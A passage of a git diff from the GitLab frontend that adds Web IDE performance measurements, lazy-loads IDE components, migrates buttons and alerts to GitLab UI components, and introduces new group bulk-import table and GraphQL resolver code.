WEBIDE_MARK_FILE_FINISH,
@@ -37,15 +30,17 @@ export default {
components: {
IdeSidebar,
RepoEditor,
- 'error-message': () => import('./error_message.vue'),
- 'gl-button': () => import('@gitlab/ui/src/components/base/button/button.vue'),
- 'gl-loading-icon': () => import('@gitlab/ui/src/components/base/loading_icon/loading_icon.vue'),
- 'commit-editor-header': () => import('./commit_sidebar/editor_header.vue'),
- 'repo-tabs': () => import('./repo_tabs.vue'),
- 'ide-status-bar': () => import('./ide_status_bar.vue'),
- 'find-file': () => import('~/vue_shared/components/file_finder/index.vue'),
- 'right-pane': () => import('./panes/right.vue'),
- 'new-modal': () => import('./new_dropdown/modal.vue'),
+ GlButton,
+ GlLoadingIcon,
+ ErrorMessage: () => import(/* webpackChunkName: 'ide_runtime' */ './error_message.vue'),
+ CommitEditorHeader: () =>
+ import(/* webpackChunkName: 'ide_runtime' */ './commit_sidebar/editor_header.vue'),
+ RepoTabs: () => import(/* webpackChunkName: 'ide_runtime' */ './repo_tabs.vue'),
+ IdeStatusBar: () => import(/* webpackChunkName: 'ide_runtime' */ './ide_status_bar.vue'),
+ FindFile: () =>
+ import(/* webpackChunkName: 'ide_runtime' */ '~/vue_shared/components/file_finder/index.vue'),
+ RightPane: () => import(/* webpackChunkName: 'ide_runtime' */ './panes/right.vue'),
+ NewModal: () => import(/* webpackChunkName: 'ide_runtime' */ './new_dropdown/modal.vue'),
},
mixins: [glFeatureFlagsMixin()],
data() {
@@ -84,7 +79,14 @@ export default {
document.querySelector('.navbar-gitlab').classList.add(`theme-${this.themeName}`);
},
beforeCreate() {
- performanceMarkAndMeasure({ mark: WEBIDE_MARK_APP_START });
+ performanceMarkAndMeasure({
+ mark: WEBIDE_MARK_APP_START,
+ measures: [
+ {
+ name: WEBIDE_MEASURE_BEFORE_VUE,
+ },
+ ],
+ });
},
methods: {
...mapActions(['toggleFileFinder']),
diff --git a/app/assets/javascripts/ide/components/ide_side_bar.vue b/app/assets/javascripts/ide/components/ide_side_bar.vue
index 99215d6c3f1..135b28685ed 100644
--- a/app/assets/javascripts/ide/components/ide_side_bar.vue
+++ b/app/assets/javascripts/ide/components/ide_side_bar.vue
@@ -14,8 +14,10 @@ export default {
ResizablePanel,
ActivityBar,
IdeTree,
- [leftSidebarViews.review.name]: () => import('./ide_review.vue'),
- [leftSidebarViews.commit.name]: () => import('./repo_commit_section.vue'),
+ [leftSidebarViews.review.name]: () =>
+ import(/* webpackChunkName: 'ide_runtime' */ './ide_review.vue'),
+ [leftSidebarViews.commit.name]: () =>
+ import(/* webpackChunkName: 'ide_runtime' */ './repo_commit_section.vue'),
CommitForm,
IdeProjectHeader,
},
diff --git a/app/assets/javascripts/ide/components/ide_tree_list.vue b/app/assets/javascripts/ide/components/ide_tree_list.vue
index e7e94f5b5da..b67881b14f4 100644
--- a/app/assets/javascripts/ide/components/ide_tree_list.vue
+++ b/app/assets/javascripts/ide/components/ide_tree_list.vue
@@ -2,17 +2,13 @@
import { mapActions, mapGetters, mapState } from 'vuex';
import { GlDeprecatedSkeletonLoading as GlSkeletonLoading } from '@gitlab/ui';
import FileTree from '~/vue_shared/components/file_tree.vue';
-import {
- WEBIDE_MARK_TREE_START,
- WEBIDE_MEASURE_TREE_FROM_REQUEST,
- WEBIDE_MARK_FILE_CLICKED,
-} from '~/performance/constants';
+import { WEBIDE_MARK_FILE_CLICKED } from '~/performance/constants';
import { performanceMarkAndMeasure } from '~/performance/utils';
-import eventHub from '../eventhub';
import IdeFileRow from './ide_file_row.vue';
import NavDropdown from './nav_dropdown.vue';
export default {
+ name: 'IdeTreeList',
components: {
GlSkeletonLoading,
NavDropdown,
@@ -39,14 +35,6 @@ export default {
}
},
},
- beforeCreate() {
- performanceMarkAndMeasure({ mark: WEBIDE_MARK_TREE_START });
- },
- updated() {
- if (this.currentTree?.tree?.length) {
- eventHub.$emit(WEBIDE_MEASURE_TREE_FROM_REQUEST);
- }
- },
methods: {
...mapActions(['toggleTreeOpen']),
clickedFile() {
diff --git a/app/assets/javascripts/ide/components/jobs/detail.vue b/app/assets/javascripts/ide/components/jobs/detail.vue
index d65304034c2..7f07a5dbe43 100644
--- a/app/assets/javascripts/ide/components/jobs/detail.vue
+++ b/app/assets/javascripts/ide/components/jobs/detail.vue
@@ -92,7 +92,7 @@ export default {
class="controllers-buttons"
target="_blank"
>
- <gl-icon name="doc-text" aria-hidden="true" />
+ <gl-icon name="doc-text" />
</a>
<scroll-button :disabled="isScrolledToTop" direction="up" @click="scrollUp" />
<scroll-button :disabled="isScrolledToBottom" direction="down" @click="scrollDown" />
diff --git a/app/assets/javascripts/ide/components/nav_dropdown.vue b/app/assets/javascripts/ide/components/nav_dropdown.vue
index 2307efd1d24..8cea8655461 100644
--- a/app/assets/javascripts/ide/components/nav_dropdown.vue
+++ b/app/assets/javascripts/ide/components/nav_dropdown.vue
@@ -30,6 +30,7 @@ export default {
.on('hide.bs.dropdown', () => this.hideDropdown());
},
removeDropdownListeners() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
$(this.$refs.dropdown)
.off('show.bs.dropdown')
.off('hide.bs.dropdown');
@@ -45,7 +46,7 @@ export default {
</script>
<template>
- <div ref="dropdown" class="btn-group ide-nav-dropdown dropdown">
+ <div ref="dropdown" class="btn-group ide-nav-dropdown dropdown" data-testid="ide-nav-dropdown">
<nav-dropdown-button :show-merge-requests="canReadMergeRequests" />
<div class="dropdown-menu dropdown-menu-left p-0">
<nav-form v-if="isVisibleDropdown" :show-merge-requests="canReadMergeRequests" />
diff --git a/app/assets/javascripts/ide/components/new_dropdown/modal.vue b/app/assets/javascripts/ide/components/new_dropdown/modal.vue
index 5ad836f346a..22eefb6634f 100644
--- a/app/assets/javascripts/ide/components/new_dropdown/modal.vue
+++ b/app/assets/javascripts/ide/components/new_dropdown/modal.vue
@@ -137,6 +137,7 @@ export default {
ref="modal"
modal-id="ide-new-entry"
data-qa-selector="new_file_modal"
+ data-testid="ide-new-entry"
:title="modalTitle"
:ok-title="buttonLabel"
ok-variant="success"
diff --git a/app/assets/javascripts/ide/components/pipelines/list.vue b/app/assets/javascripts/ide/components/pipelines/list.vue
index 6f15773c9ab..a4a13389fbf 100644
--- a/app/assets/javascripts/ide/components/pipelines/list.vue
+++ b/app/assets/javascripts/ide/components/pipelines/list.vue
@@ -8,6 +8,7 @@ import {
GlTabs,
GlTab,
GlBadge,
+ GlAlert,
} from '@gitlab/ui';
import { sprintf, __ } from '../../../locale';
import CiIcon from '../../../vue_shared/components/ci_icon.vue';
@@ -26,6 +27,7 @@ export default {
GlTabs,
GlTab,
GlBadge,
+ GlAlert,
},
directives: {
SafeHtml,
@@ -89,11 +91,16 @@ export default {
:can-set-ci="true"
class="mb-auto mt-auto"
/>
- <div v-else-if="latestPipeline.yamlError" class="bs-callout bs-callout-danger">
+ <gl-alert
+ v-else-if="latestPipeline.yamlError"
+ variant="danger"
+ :dismissible="false"
+ class="gl-mt-5"
+ >
<p class="gl-mb-0">{{ __('Found errors in your .gitlab-ci.yml:') }}</p>
<p class="gl-mb-0 break-word">{{ latestPipeline.yamlError }}</p>
<p v-safe-html="ciLintText" class="gl-mb-0"></p>
- </div>
+ </gl-alert>
<gl-tabs v-else>
<gl-tab :active="!pipelineFailed">
<template #title>
diff --git a/app/assets/javascripts/ide/components/preview/clientside.vue b/app/assets/javascripts/ide/components/preview/clientside.vue
index 3852f2fdfa4..f65b1201d94 100644
--- a/app/assets/javascripts/ide/components/preview/clientside.vue
+++ b/app/assets/javascripts/ide/components/preview/clientside.vue
@@ -152,7 +152,7 @@ export default {
</script>
<template>
- <div class="preview h-100 w-100 d-flex flex-column">
+ <div class="preview h-100 w-100 d-flex flex-column gl-bg-white">
<template v-if="showPreview">
<navigator :manager="manager" />
<div id="ide-preview"></div>
diff --git a/app/assets/javascripts/ide/components/repo_editor.vue b/app/assets/javascripts/ide/components/repo_editor.vue
index c8a825065f1..1f029612c29 100644
--- a/app/assets/javascripts/ide/components/repo_editor.vue
+++ b/app/assets/javascripts/ide/components/repo_editor.vue
@@ -6,9 +6,10 @@ import ContentViewer from '~/vue_shared/components/content_viewer/content_viewer
import DiffViewer from '~/vue_shared/components/diff_viewer/diff_viewer.vue';
import {
WEBIDE_MARK_FILE_CLICKED,
- WEBIDE_MARK_FILE_START,
+ WEBIDE_MARK_REPO_EDITOR_START,
+ WEBIDE_MARK_REPO_EDITOR_FINISH,
+ WEBIDE_MEASURE_REPO_EDITOR,
WEBIDE_MEASURE_FILE_AFTER_INTERACTION,
- WEBIDE_MEASURE_FILE_FROM_REQUEST,
} from '~/performance/constants';
import { performanceMarkAndMeasure } from '~/performance/utils';
import eventHub from '../eventhub';
@@ -28,6 +29,7 @@ import { getRulesWithTraversal } from '../lib/editorconfig/parser';
import mapRulesToMonaco from '../lib/editorconfig/rules_mapper';
export default {
+ name: 'RepoEditor',
components: {
ContentViewer,
DiffViewer,
@@ -175,9 +177,6 @@ export default {
}
},
},
- beforeCreate() {
- performanceMarkAndMeasure({ mark: WEBIDE_MARK_FILE_START });
- },
beforeDestroy() {
this.editor.dispose();
},
@@ -204,6 +203,7 @@ export default {
]),
...mapActions('editor', ['updateFileEditor']),
initEditor() {
+ performanceMarkAndMeasure({ mark: WEBIDE_MARK_REPO_EDITOR_START });
if (this.shouldHideEditor && (this.file.content || this.file.raw)) {
return;
}
@@ -305,7 +305,15 @@ export default {
if (performance.getEntriesByName(WEBIDE_MARK_FILE_CLICKED).length) {
eventHub.$emit(WEBIDE_MEASURE_FILE_AFTER_INTERACTION);
} else {
- eventHub.$emit(WEBIDE_MEASURE_FILE_FROM_REQUEST);
+ performanceMarkAndMeasure({
+ mark: WEBIDE_MARK_REPO_EDITOR_FINISH,
+ measures: [
+ {
+ name: WEBIDE_MEASURE_REPO_EDITOR,
+ start: WEBIDE_MARK_REPO_EDITOR_START,
+ },
+ ],
+ });
}
},
refreshEditorDimensions() {
diff --git a/app/assets/javascripts/ide/components/terminal/session.vue b/app/assets/javascripts/ide/components/terminal/session.vue
index a8fe9ea6866..0e67a2ab45f 100644
--- a/app/assets/javascripts/ide/components/terminal/session.vue
+++ b/app/assets/javascripts/ide/components/terminal/session.vue
@@ -1,5 +1,6 @@
<script>
import { mapActions, mapState } from 'vuex';
+import { GlButton } from '@gitlab/ui';
import { __ } from '~/locale';
import Terminal from './terminal.vue';
import { isEndingStatus } from '../../stores/modules/terminal/utils';
@@ -7,6 +8,7 @@ import { isEndingStatus } from '../../stores/modules/terminal/utils';
export default {
components: {
Terminal,
+ GlButton,
},
computed: {
...mapState('terminal', ['session']),
@@ -14,15 +16,17 @@ export default {
if (isEndingStatus(this.session.status)) {
return {
action: () => this.restartSession(),
+ variant: 'info',
+ category: 'primary',
text: __('Restart Terminal'),
- class: 'btn-primary',
};
}
return {
action: () => this.stopSession(),
+ variant: 'danger',
+ category: 'secondary',
text: __('Stop Terminal'),
- class: 'btn-inverted btn-remove',
};
},
},
@@ -37,15 +41,13 @@ export default {
<header class="ide-job-header d-flex align-items-center">
<h5>{{ __('Web Terminal') }}</h5>
<div class="ml-auto align-self-center">
- <button
+ <gl-button
v-if="actionButton"
- type="button"
- class="btn btn-sm"
- :class="actionButton.class"
+ :variant="actionButton.variant"
+ :category="actionButton.category"
@click="actionButton.action"
+ >{{ actionButton.text }}</gl-button
>
- {{ actionButton.text }}
- </button>
</div>
</header>
<terminal :terminal-path="session.terminalPath" :status="session.status" />
diff --git a/app/assets/javascripts/ide/components/terminal/view.vue b/app/assets/javascripts/ide/components/terminal/view.vue
index db97e95eed9..fcf23eb1f73 100644
--- a/app/assets/javascripts/ide/components/terminal/view.vue
+++ b/app/assets/javascripts/ide/components/terminal/view.vue
@@ -1,12 +1,11 @@
<script>
import { mapActions, mapGetters, mapState } from 'vuex';
import EmptyState from './empty_state.vue';
-import TerminalSession from './session.vue';
export default {
components: {
EmptyState,
- TerminalSession,
+ TerminalSession: () => import(/* webpackChunkName: 'ide_terminal' */ './session.vue'),
},
computed: {
...mapState('terminal', ['isShowSplash', 'paths']),
diff --git a/app/assets/javascripts/ide/ide_router.js b/app/assets/javascripts/ide/ide_router.js
index 396aedbfa10..b9ebacef7e1 100644
--- a/app/assets/javascripts/ide/ide_router.js
+++ b/app/assets/javascripts/ide/ide_router.js
@@ -3,6 +3,12 @@ import IdeRouter from '~/ide/ide_router_extension';
import { joinPaths } from '~/lib/utils/url_utility';
import { deprecatedCreateFlash as flash } from '~/flash';
import { __ } from '~/locale';
+import { performanceMarkAndMeasure } from '~/performance/utils';
+import {
+ WEBIDE_MARK_FETCH_PROJECT_DATA_START,
+ WEBIDE_MARK_FETCH_PROJECT_DATA_FINISH,
+ WEBIDE_MEASURE_FETCH_PROJECT_DATA,
+} from '~/performance/constants';
import { syncRouterAndStore } from './sync_router_and_store';
Vue.use(IdeRouter);
@@ -69,6 +75,7 @@ export const createRouter = store => {
router.beforeEach((to, from, next) => {
if (to.params.namespace && to.params.project) {
+ performanceMarkAndMeasure({ mark: WEBIDE_MARK_FETCH_PROJECT_DATA_START });
store
.dispatch('getProjectData', {
namespace: to.params.namespace,
@@ -81,6 +88,15 @@ export const createRouter = store => {
const mergeRequestId = to.params.mrid;
if (branchId) {
+ performanceMarkAndMeasure({
+ mark: WEBIDE_MARK_FETCH_PROJECT_DATA_FINISH,
+ measures: [
+ {
+ name: WEBIDE_MEASURE_FETCH_PROJECT_DATA,
+ start: WEBIDE_MARK_FETCH_PROJECT_DATA_START,
+ },
+ ],
+ });
store.dispatch('openBranch', {
projectId,
branchId,
diff --git a/app/assets/javascripts/ide/index.js b/app/assets/javascripts/ide/index.js
index 56d48e87c18..62f49ba56b1 100644
--- a/app/assets/javascripts/ide/index.js
+++ b/app/assets/javascripts/ide/index.js
@@ -2,6 +2,7 @@ import Vue from 'vue';
import { mapActions } from 'vuex';
import { identity } from 'lodash';
import Translate from '~/vue_shared/translate';
+import PerformancePlugin from '~/performance/vue_performance_plugin';
import ide from './components/ide.vue';
import { createStore } from './stores';
import { createRouter } from './ide_router';
@@ -11,6 +12,10 @@ import { DEFAULT_THEME } from './lib/themes';
Vue.use(Translate);
+Vue.use(PerformancePlugin, {
+ components: ['FileTree'],
+});
+
/**
* Function that receives the default store and returns an extended one.
* @callback extendStoreCallback
diff --git a/app/assets/javascripts/ide/lib/common/model.js b/app/assets/javascripts/ide/lib/common/model.js
index c5bb00c3dee..2471b3627ce 100644
--- a/app/assets/javascripts/ide/lib/common/model.js
+++ b/app/assets/javascripts/ide/lib/common/model.js
@@ -1,7 +1,8 @@
import { editor as monacoEditor, Uri } from 'monaco-editor';
import Disposable from './disposable';
import eventHub from '../../eventhub';
-import { trimTrailingWhitespace, insertFinalNewline } from '../../utils';
+import { trimTrailingWhitespace } from '../../utils';
+import { insertFinalNewline } from '~/lib/utils/text_utility';
import { defaultModelOptions } from '../editor_options';
export default class Model {
diff --git a/app/assets/javascripts/ide/stores/actions.js b/app/assets/javascripts/ide/stores/actions.js
index 1496170447d..710256b6377 100644
--- a/app/assets/javascripts/ide/stores/actions.js
+++ b/app/assets/javascripts/ide/stores/actions.js
@@ -3,6 +3,12 @@ import { escape } from 'lodash';
import { __, sprintf } from '~/locale';
import { visitUrl } from '~/lib/utils/url_utility';
import { deprecatedCreateFlash as flash } from '~/flash';
+import { performanceMarkAndMeasure } from '~/performance/utils';
+import {
+ WEBIDE_MARK_FETCH_BRANCH_DATA_START,
+ WEBIDE_MARK_FETCH_BRANCH_DATA_FINISH,
+ WEBIDE_MEASURE_FETCH_BRANCH_DATA,
+} from '~/performance/constants';
import * as types from './mutation_types';
import { decorateFiles } from '../lib/files';
import { stageKeys, commitActionTypes } from '../constants';
@@ -245,13 +251,23 @@ export const renameEntry = ({ dispatch, commit, state, getters }, { path, name,
dispatch('triggerFilesChange', { type: commitActionTypes.move, path, newPath });
};
-export const getBranchData = ({ commit, state }, { projectId, branchId, force = false } = {}) =>
- new Promise((resolve, reject) => {
+export const getBranchData = ({ commit, state }, { projectId, branchId, force = false } = {}) => {
+ return new Promise((resolve, reject) => {
+ performanceMarkAndMeasure({ mark: WEBIDE_MARK_FETCH_BRANCH_DATA_START });
const currentProject = state.projects[projectId];
if (!currentProject || !currentProject.branches[branchId] || force) {
service
.getBranchData(projectId, branchId)
.then(({ data }) => {
+ performanceMarkAndMeasure({
+ mark: WEBIDE_MARK_FETCH_BRANCH_DATA_FINISH,
+ measures: [
+ {
+ name: WEBIDE_MEASURE_FETCH_BRANCH_DATA,
+ start: WEBIDE_MARK_FETCH_BRANCH_DATA_START,
+ },
+ ],
+ });
const { id } = data.commit;
commit(types.SET_BRANCH, {
projectPath: projectId,
@@ -291,6 +307,7 @@ export const getBranchData = ({ commit, state }, { projectId, branchId, force =
resolve(currentProject.branches[branchId]);
}
});
+};
export * from './actions/tree';
export * from './actions/file';
diff --git a/app/assets/javascripts/ide/stores/actions/file.js b/app/assets/javascripts/ide/stores/actions/file.js
index 4b9b958ddd6..8b43c7238fd 100644
--- a/app/assets/javascripts/ide/stores/actions/file.js
+++ b/app/assets/javascripts/ide/stores/actions/file.js
@@ -1,5 +1,11 @@
import { joinPaths, escapeFileUrl } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
+import { performanceMarkAndMeasure } from '~/performance/utils';
+import {
+ WEBIDE_MARK_FETCH_FILE_DATA_START,
+ WEBIDE_MARK_FETCH_FILE_DATA_FINISH,
+ WEBIDE_MEASURE_FETCH_FILE_DATA,
+} from '~/performance/constants';
import eventHub from '../../eventhub';
import service from '../../services';
import * as types from '../mutation_types';
@@ -61,6 +67,7 @@ export const getFileData = (
{ state, commit, dispatch, getters },
{ path, makeFileActive = true, openFile = makeFileActive, toggleLoading = true },
) => {
+ performanceMarkAndMeasure({ mark: WEBIDE_MARK_FETCH_FILE_DATA_START });
const file = state.entries[path];
const fileDeletedAndReadded = getters.isFileDeletedAndReadded(path);
@@ -81,6 +88,15 @@ export const getFileData = (
return service
.getFileData(url)
.then(({ data }) => {
+ performanceMarkAndMeasure({
+ mark: WEBIDE_MARK_FETCH_FILE_DATA_FINISH,
+ measures: [
+ {
+ name: WEBIDE_MEASURE_FETCH_FILE_DATA,
+ start: WEBIDE_MARK_FETCH_FILE_DATA_START,
+ },
+ ],
+ });
if (data) commit(types.SET_FILE_DATA, { data, file });
if (openFile) commit(types.TOGGLE_FILE_OPEN, path);
@@ -150,6 +166,13 @@ export const getRawFileData = ({ state, commit, dispatch, getters }, { path }) =
export const changeFileContent = ({ commit, state, getters }, { path, content }) => {
const file = state.entries[path];
+
+ // It's possible for monaco to hit a race condition where it tries to update renamed files.
+ // See issue https://gitlab.com/gitlab-org/gitlab/-/issues/284930
+ if (!file) {
+ return;
+ }
+
commit(types.UPDATE_FILE_CONTENT, {
path,
content,
diff --git a/app/assets/javascripts/ide/stores/actions/tree.js b/app/assets/javascripts/ide/stores/actions/tree.js
index 3a7daf30cc4..23a5e26bc1c 100644
--- a/app/assets/javascripts/ide/stores/actions/tree.js
+++ b/app/assets/javascripts/ide/stores/actions/tree.js
@@ -1,4 +1,10 @@
import { defer } from 'lodash';
+import { performanceMarkAndMeasure } from '~/performance/utils';
+import {
+ WEBIDE_MARK_FETCH_FILES_FINISH,
+ WEBIDE_MEASURE_FETCH_FILES,
+ WEBIDE_MARK_FETCH_FILES_START,
+} from '~/performance/constants';
import { __ } from '../../../locale';
import service from '../../services';
import * as types from '../mutation_types';
@@ -46,8 +52,9 @@ export const setDirectoryData = ({ state, commit }, { projectId, branchId, treeL
});
};
-export const getFiles = ({ state, commit, dispatch }, payload = {}) =>
- new Promise((resolve, reject) => {
+export const getFiles = ({ state, commit, dispatch }, payload = {}) => {
+ performanceMarkAndMeasure({ mark: WEBIDE_MARK_FETCH_FILES_START });
+ return new Promise((resolve, reject) => {
const { projectId, branchId, ref = branchId } = payload;
if (
@@ -61,6 +68,15 @@ export const getFiles = ({ state, commit, dispatch }, payload = {}) =>
service
.getFiles(selectedProject.path_with_namespace, ref)
.then(({ data }) => {
+ performanceMarkAndMeasure({
+ mark: WEBIDE_MARK_FETCH_FILES_FINISH,
+ measures: [
+ {
+ name: WEBIDE_MEASURE_FETCH_FILES,
+ start: WEBIDE_MARK_FETCH_FILES_START,
+ },
+ ],
+ });
const { entries, treeList } = decorateFiles({ data });
commit(types.SET_ENTRIES, entries);
@@ -85,6 +101,7 @@ export const getFiles = ({ state, commit, dispatch }, payload = {}) =>
resolve();
}
});
+};
export const restoreTree = ({ dispatch, commit, state }, path) => {
const entry = state.entries[path];
diff --git a/app/assets/javascripts/ide/utils.js b/app/assets/javascripts/ide/utils.js
index 1ca1b971de1..43276f32322 100644
--- a/app/assets/javascripts/ide/utils.js
+++ b/app/assets/javascripts/ide/utils.js
@@ -97,10 +97,6 @@ export function trimTrailingWhitespace(content) {
return content.replace(/[^\S\r\n]+$/gm, '');
}
-export function insertFinalNewline(content, eol = '\n') {
- return content.slice(-eol.length) !== eol ? `${content}${eol}` : content;
-}
-
export function getPathParents(path, maxDepth = Infinity) {
const pathComponents = path.split('/');
const paths = [];
diff --git a/app/assets/javascripts/import_projects/components/import_status.vue b/app/assets/javascripts/import_entities/components/import_status.vue
index 9e3347a657f..9e3347a657f 100644
--- a/app/assets/javascripts/import_projects/components/import_status.vue
+++ b/app/assets/javascripts/import_entities/components/import_status.vue
diff --git a/app/assets/javascripts/import_projects/constants.js b/app/assets/javascripts/import_entities/constants.js
index ad33ca158d2..ad33ca158d2 100644
--- a/app/assets/javascripts/import_projects/constants.js
+++ b/app/assets/javascripts/import_entities/constants.js
diff --git a/app/assets/javascripts/import_entities/import_groups/components/import_table.vue b/app/assets/javascripts/import_entities/import_groups/components/import_table.vue
new file mode 100644
index 00000000000..153c58b556e
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_groups/components/import_table.vue
@@ -0,0 +1,78 @@
+<script>
+import { GlLoadingIcon } from '@gitlab/ui';
+import bulkImportSourceGroupsQuery from '../graphql/queries/bulk_import_source_groups.query.graphql';
+import availableNamespacesQuery from '../graphql/queries/available_namespaces.query.graphql';
+import setTargetNamespaceMutation from '../graphql/mutations/set_target_namespace.mutation.graphql';
+import setNewNameMutation from '../graphql/mutations/set_new_name.mutation.graphql';
+import importGroupMutation from '../graphql/mutations/import_group.mutation.graphql';
+import ImportTableRow from './import_table_row.vue';
+
+const mapApolloMutations = mutations =>
+ Object.fromEntries(
+ Object.entries(mutations).map(([key, mutation]) => [
+ key,
+ function mutate(config) {
+ return this.$apollo.mutate({
+ mutation,
+ ...config,
+ });
+ },
+ ]),
+ );
+
+export default {
+ components: {
+ GlLoadingIcon,
+ ImportTableRow,
+ },
+
+ apollo: {
+ bulkImportSourceGroups: bulkImportSourceGroupsQuery,
+ availableNamespaces: availableNamespacesQuery,
+ },
+
+ methods: {
+ ...mapApolloMutations({
+ setTargetNamespace: setTargetNamespaceMutation,
+ setNewName: setNewNameMutation,
+ importGroup: importGroupMutation,
+ }),
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-loading-icon v-if="$apollo.loading" size="md" class="gl-mt-5" />
+ <div v-else-if="bulkImportSourceGroups.length">
+ <table class="gl-w-full">
+ <thead class="gl-border-solid gl-border-gray-200 gl-border-0 gl-border-b-1">
+ <th class="gl-py-4 import-jobs-from-col">{{ s__('BulkImport|From source group') }}</th>
+ <th class="gl-py-4 import-jobs-to-col">{{ s__('BulkImport|To new group') }}</th>
+ <th class="gl-py-4 import-jobs-status-col">{{ __('Status') }}</th>
+ <th class="gl-py-4 import-jobs-cta-col"></th>
+ </thead>
+ <tbody>
+ <template v-for="group in bulkImportSourceGroups">
+ <import-table-row
+ :key="group.id"
+ :group="group"
+ :available-namespaces="availableNamespaces"
+ @update-target-namespace="
+ setTargetNamespace({
+ variables: { sourceGroupId: group.id, targetNamespace: $event },
+ })
+ "
+ @update-new-name="
+ setNewName({
+ variables: { sourceGroupId: group.id, newName: $event },
+ })
+ "
+ @import-group="importGroup({ variables: { sourceGroupId: group.id } })"
+ />
+ </template>
+ </tbody>
+ </table>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/import_entities/import_groups/components/import_table_row.vue b/app/assets/javascripts/import_entities/import_groups/components/import_table_row.vue
new file mode 100644
index 00000000000..07603d89f0f
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_groups/components/import_table_row.vue
@@ -0,0 +1,106 @@
+<script>
+import { GlButton, GlIcon, GlLink, GlFormInput } from '@gitlab/ui';
+import { joinPaths } from '~/lib/utils/url_utility';
+import Select2Select from '~/vue_shared/components/select2_select.vue';
+import ImportStatus from '../../components/import_status.vue';
+import { STATUSES } from '../../constants';
+
+export default {
+ components: {
+ Select2Select,
+ ImportStatus,
+ GlButton,
+ GlLink,
+ GlIcon,
+ GlFormInput,
+ },
+ props: {
+ group: {
+ type: Object,
+ required: true,
+ },
+ availableNamespaces: {
+ type: Array,
+ required: true,
+ },
+ },
+ computed: {
+ isDisabled() {
+ return this.group.status !== STATUSES.NONE;
+ },
+
+ isFinished() {
+ return this.group.status === STATUSES.FINISHED;
+ },
+
+ select2Options() {
+ return {
+ data: this.availableNamespaces.map(namespace => ({
+ id: namespace.full_path,
+ text: namespace.full_path,
+ })),
+ };
+ },
+ },
+ methods: {
+ getPath(group) {
+ return `${group.import_target.target_namespace}/${group.import_target.new_name}`;
+ },
+
+ getFullPath(group) {
+ return joinPaths(gon.relative_url_root || '/', this.getPath(group));
+ },
+ },
+};
+</script>
+
+<template>
+ <tr class="gl-border-gray-200 gl-border-0 gl-border-b-1">
+ <td class="gl-p-4">
+ <gl-link :href="group.web_url" target="_blank">
+ {{ group.full_path }} <gl-icon name="external-link" />
+ </gl-link>
+ </td>
+ <td class="gl-p-4">
+ <gl-link v-if="isFinished" :href="getFullPath(group)">{{ getPath(group) }}</gl-link>
+
+ <div
+ v-else
+ class="import-entities-target-select gl-display-flex gl-align-items-stretch"
+ :class="{
+ disabled: isDisabled,
+ }"
+ >
+ <select2-select
+ :disabled="isDisabled"
+ :options="select2Options"
+ :value="group.import_target.target_namespace"
+ @input="$emit('update-target-namespace', $event)"
+ />
+ <div
+ class="import-entities-target-select-separator gl-px-3 gl-display-flex gl-align-items-center gl-border-solid gl-border-0 gl-border-t-1 gl-border-b-1"
+ >
+ /
+ </div>
+ <gl-form-input
+ class="gl-rounded-top-left-none gl-rounded-bottom-left-none"
+ :disabled="isDisabled"
+ :value="group.import_target.new_name"
+ @input="$emit('update-new-name', $event)"
+ />
+ </div>
+ </td>
+ <td class="gl-p-4 gl-white-space-nowrap">
+ <import-status :status="group.status" />
+ </td>
+ <td class="gl-p-4">
+ <gl-button
+ v-if="!isDisabled"
+ variant="success"
+ category="secondary"
+ @click="$emit('import-group')"
+ >{{ __('Import') }}</gl-button
+ >
+ </td>
+ </tr>
+</template>
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/client_factory.js b/app/assets/javascripts/import_entities/import_groups/graphql/client_factory.js
new file mode 100644
index 00000000000..4fcaa1b55fc
--- /dev/null
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/client_factory.js
@@ -0,0 +1,95 @@
+import axios from '~/lib/utils/axios_utils';
+import createDefaultClient from '~/lib/graphql';
+import { s__ } from '~/locale';
+import createFlash from '~/flash';
+import { STATUSES } from '../../constants';
+import availableNamespacesQuery from './queries/available_namespaces.query.graphql';
+import { SourceGroupsManager } from './services/source_groups_manager';
+import { StatusPoller } from './services/status_poller';
+
+export const clientTypenames = {
+ BulkImportSourceGroup: 'ClientBulkImportSourceGroup',
+ AvailableNamespace: 'ClientAvailableNamespace',
+};
+
+export function createResolvers({ endpoints }) {
+ let statusPoller;
+
+ return {
+ Query: {
+ async bulkImportSourceGroups(_, __, { client }) {
+ const {
+ data: { availableNamespaces },
+ } = await client.query({ query: availableNamespacesQuery });
+
+ return axios.get(endpoints.status).then(({ data }) => {
+ return data.importable_data.map(group => ({
+ __typename: clientTypenames.BulkImportSourceGroup,
+ ...group,
+ status: STATUSES.NONE,
+ import_target: {
+ new_name: group.full_path,
+ target_namespace: availableNamespaces[0].full_path,
+ },
+ }));
+ });
+ },
+
+ availableNamespaces: () =>
+ axios.get(endpoints.availableNamespaces).then(({ data }) =>
+ data.map(namespace => ({
+ __typename: clientTypenames.AvailableNamespace,
+ ...namespace,
+ })),
+ ),
+ },
+ Mutation: {
+ setTargetNamespace(_, { targetNamespace, sourceGroupId }, { client }) {
+ new SourceGroupsManager({ client }).updateById(sourceGroupId, sourceGroup => {
+ // eslint-disable-next-line no-param-reassign
+ sourceGroup.import_target.target_namespace = targetNamespace;
+ });
+ },
+
+ setNewName(_, { newName, sourceGroupId }, { client }) {
+ new SourceGroupsManager({ client }).updateById(sourceGroupId, sourceGroup => {
+ // eslint-disable-next-line no-param-reassign
+ sourceGroup.import_target.new_name = newName;
+ });
+ },
+
+ async importGroup(_, { sourceGroupId }, { client }) {
+ const groupManager = new SourceGroupsManager({ client });
+ const group = groupManager.findById(sourceGroupId);
+ groupManager.setImportStatus(group, STATUSES.SCHEDULING);
+ try {
+ await axios.post(endpoints.createBulkImport, {
+ bulk_import: [
+ {
+ source_type: 'group_entity',
+ source_full_path: group.full_path,
+ destination_namespace: group.import_target.target_namespace,
+ destination_name: group.import_target.new_name,
+ },
+ ],
+ });
+ groupManager.setImportStatus(group, STATUSES.STARTED);
+ if (!statusPoller) {
+ statusPoller = new StatusPoller({ client, interval: 3000 });
+ statusPoller.startPolling();
+ }
+ } catch (e) {
+ createFlash({
+ message: s__('BulkImport|Importing the group failed'),
+ });
+
+ groupManager.setImportStatus(group, STATUSES.NONE);
+ throw e;
+ }
+ },
+ },
+ };
+}
+
